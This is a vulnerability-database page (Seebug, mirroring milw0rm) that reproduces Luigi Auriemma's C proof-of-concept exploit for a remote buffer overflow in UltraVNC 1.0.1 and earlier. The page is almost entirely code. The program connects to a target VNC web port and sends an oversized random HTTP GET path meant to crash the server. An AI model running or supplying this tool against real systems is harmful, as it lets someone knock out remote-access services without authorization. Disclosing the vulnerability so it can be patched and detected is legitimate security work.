Lucene search

K
seebugRootSSV:63450
HistoryJul 01, 2014 - 12:00 a.m.

Ultr@VNC <= 1.0.1 VNCLog::ReallyPrint Remote Buffer Overflow PoC

2014-07-0100:00:00
Root
www.seebug.org
9

No description provided by source.


                                                /*

by Luigi Auriemma

*/

#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;time.h&#62;

#ifdef WIN32
    #include &#60;winsock.h&#62;
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include &#60;string.h&#62;
#include &#60;errno.h&#62;



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = &#34;Interrupted system call&#34;; break;
        case 10009: error = &#34;Bad file number&#34;; break;
        case 10013: error = &#34;Permission denied&#34;; break;
        case 10014: error = &#34;Bad address&#34;; break;
        case 10022: error = &#34;Invalid argument (not bind)&#34;; break;
        case 10024: error = &#34;Too many open files&#34;; break;
        case 10035: error = &#34;Operation would block&#34;; break;
        case 10036: error = &#34;Operation now in progress&#34;; break;
        case 10037: error = &#34;Operation already in progress&#34;; break;
        case 10038: error = &#34;Socket operation on non-socket&#34;; break;
        case 10039: error = &#34;Destination address required&#34;; break;
        case 10040: error = &#34;Message too long&#34;; break;
        case 10041: error = &#34;Protocol wrong type for socket&#34;; break;
        case 10042: error = &#34;Bad protocol option&#34;; break;
        case 10043: error = &#34;Protocol not supported&#34;; break;
        case 10044: error = &#34;Socket type not supported&#34;; break;
        case 10045: error = &#34;Operation not supported on socket&#34;; break;
        case 10046: error = &#34;Protocol family not supported&#34;; break;
        case 10047: error = &#34;Address family not supported by protocol family&#34;; break;
        case 10048: error = &#34;Address already in use&#34;; break;
        case 10049: error = &#34;Can&#39;t assign requested address&#34;; break;
        case 10050: error = &#34;Network is down&#34;; break;
        case 10051: error = &#34;Network is unreachable&#34;; break;
        case 10052: error = &#34;Net dropped connection or reset&#34;; break;
        case 10053: error = &#34;Software caused connection abort&#34;; break;
        case 10054: error = &#34;Connection reset by peer&#34;; break;
        case 10055: error = &#34;No buffer space available&#34;; break;
        case 10056: error = &#34;Socket is already connected&#34;; break;
        case 10057: error = &#34;Socket is not connected&#34;; break;
        case 10058: error = &#34;Can&#39;t send after socket shutdown&#34;; break;
        case 10059: error = &#34;Too many references, can&#39;t splice&#34;; break;
        case 10060: error = &#34;Connection timed out&#34;; break;
        case 10061: error = &#34;Connection refused&#34;; break;
        case 10062: error = &#34;Too many levels of symbolic links&#34;; break;
        case 10063: error = &#34;File name too long&#34;; break;
        case 10064: error = &#34;Host is down&#34;; break;
        case 10065: error = &#34;No Route to Host&#34;; break;
        case 10066: error = &#34;Directory not empty&#34;; break;
        case 10067: error = &#34;Too many processes&#34;; break;
        case 10068: error = &#34;Too many users&#34;; break;
        case 10069: error = &#34;Disc Quota Exceeded&#34;; break;
        case 10070: error = &#34;Stale NFS file handle&#34;; break;
        case 10091: error = &#34;Network SubSystem is unavailable&#34;; break;
        case 10092: error = &#34;WINSOCK DLL Version out of range&#34;; break;
        case 10093: error = &#34;Successful WSASTARTUP not yet performed&#34;; break;
        case 10071: error = &#34;Too many levels of remote in path&#34;; break;
        case 11001: error = &#34;Host not found&#34;; break;
        case 11002: error = &#34;Non-Authoritative Host not found&#34;; break;
        case 11003: error = &#34;Non-Recoverable errors: FORMERR, REFUSED, NOTIMP&#34;; break;
        case 11004: error = &#34;Valid name, no data record of requested type&#34;; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, &#34;\nError: %s\n&#34;, error);
    exit(1);
}

    #define close   closesocket
    #define ONESEC  1000
#else
    #include &#60;unistd.h&#62;
    #include &#60;sys/socket.h&#62;
    #include &#60;sys/types.h&#62;
    #include &#60;arpa/inet.h&#62;
    #include &#60;netinet/in.h&#62;
    #include &#60;netdb.h&#62;

    #define ONESEC  1
#endif



#define VER     &#34;0.1&#34;
#define PORT    5800
#define BOFSZ   1024



int create_rand_string(u_char *data, int len, u_int *seed);
u_int resolv(char *host);
void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    u_int   seed;
    int     sd,
            i,
            len;
    u_short port = PORT;
    u_char  buff[4096];

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs(&#34;\n&#34;
        &#34;Ultr@VNC &#60;= 1.0.1 VNCLog::ReallyPrint bug &#34;VER&#34;\n&#34;
        &#34;by Luigi Auriemma\n&#34;
        &#34;e-mail: [email protected]\n&#34;
        &#34;web:    http://aluigi.altervista.org\n&#34;
        &#34;\n&#34;, stdout);

    if(argc &#60; 2) {
        printf(&#34;\n&#34;
            &#34;Usage: %s &#60;host&#62; [port(%hu)]\n&#34;
            &#34;\n&#34;
            &#34;Note: although the bug is a buffer-overflow, I have found only a limited way\n&#34;
            &#34;      (something like an off-by-one) to exploit it versus the server\n&#34;
            &#34;      Note also that in some cases (for example where it has not been\n&#34;
            &#34;      configured yet or the logging function has been never enabled) the server\n&#34;
            &#34;      will not crash\n&#34;
            &#34;\n&#34;, argv[0], port);
        exit(1);
    }

    seed = time(NULL);

    if(argc &#62; 2) port = atoi(argv[2]);
    peer.sin_addr.s_addr = resolv(argv[1]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;

    printf(&#34;- target   %s : %hu\n&#34;,
        inet_ntoa(peer.sin_addr), port);

    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd &#60; 0) std_err();

    printf(&#34;- connect...&#34;);
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
      &#60; 0) std_err();
    printf(&#34; done\n&#34;);

    len = sprintf(buff, &#34;GET /&#34;);
    len += create_rand_string(buff + len, BOFSZ, &seed);
    len += sprintf(buff + len, &#34; \r\n\r\n&#34;);

    printf(&#34;- send BOF HTTP request\n&#34;);
    if(send(sd, buff, len, 0)
      &#60; 0) std_err();

    printf(&#34;- wait some seconds\n&#34;);
    for(i = 3; i &#62;= 0; i--) {
        printf(&#34;%3d\r&#34;, i);
        sleep(ONESEC);
    }

    close(sd);
    printf(&#34;- finished, check it manually\n&#34;);
    return(0);
}



int create_rand_string(u_char *data, int len, u_int *seed) {
    u_int   rnd;
    u_char  *p = data;
    const static u_char table[] =
                &#34;0123456789&#34;
                &#34;ABCDEFGHIJKLMNOPQRSTUVWXYZ&#34;
                &#34;abcdefghijklmnopqrstuvwxyz&#34;;

    rnd = *seed;

    while(len--) {
        rnd = (rnd * 0x343FD) + 0x269EC3;
        rnd &#62;&#62;= 3;
        *p++ = table[rnd % (sizeof(table) - 1)];
    }
    *p = 0;

    *seed = rnd;
    return(p - data);
}



u_int resolv(char *host) {
    struct  hostent *hp;
    u_int   host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf(&#34;\nError: Unable to resolv hostname (%s)\n&#34;, host);
            exit(1);
        } else host_ip = *(u_int *)hp-&#62;h_addr;
    }
    return(host_ip);
}



#ifndef WIN32
    void std_err(void) {
        perror(&#34;\nError&#34;);
        exit(1);
    }
#endif

// milw0rm.com [2006-04-04]